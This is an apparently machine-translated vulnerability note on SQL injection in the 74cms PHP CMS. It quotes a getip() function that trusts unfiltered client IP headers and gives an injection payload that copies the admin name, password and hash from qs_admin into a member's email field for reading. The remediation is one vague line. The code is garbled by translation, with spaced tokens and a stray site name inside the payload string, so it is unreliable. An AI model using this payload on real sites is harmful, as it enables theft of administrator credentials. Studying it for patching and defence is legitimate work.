Server guard CMS (74cms) SQL injection vulnerability and repair

74cms SQL Injection Vulnerability
Function getip ()
{
If (getenv ('HTTP _ CLIENT_IP ')){
$ Onlineip = getenv ('HTTP _ CLIENT_IP ');
} Else if (getenv ('HTTP _ X_FORWARDED_FOR ')){
$ Onlineip = getenv ('HTTP _ X_FORWARDED_FOR ');
} Else if (getenv ('remote _ ADDR ')){
$ Onlineip = getenv ('remote _ ADDR ');
} Else {
$ Onlineip = $ _ SERVER ['remote _ ADDR '];
}
Return $ onlineip;
}
Ip not filtered

We can inject
Www.2cto.com $ getinj = "zyday1.1. ', email = (SELECT concat (admin_name, 0x2f, pwd, 0x2f, pwd_hash) FROM qs_admin) where username =' $ dpusername '#";
It is to assign the queried account and password to the email... then you can view the personal data in the member center to blow up the account and password and hash.

Fixed: Just filter it out.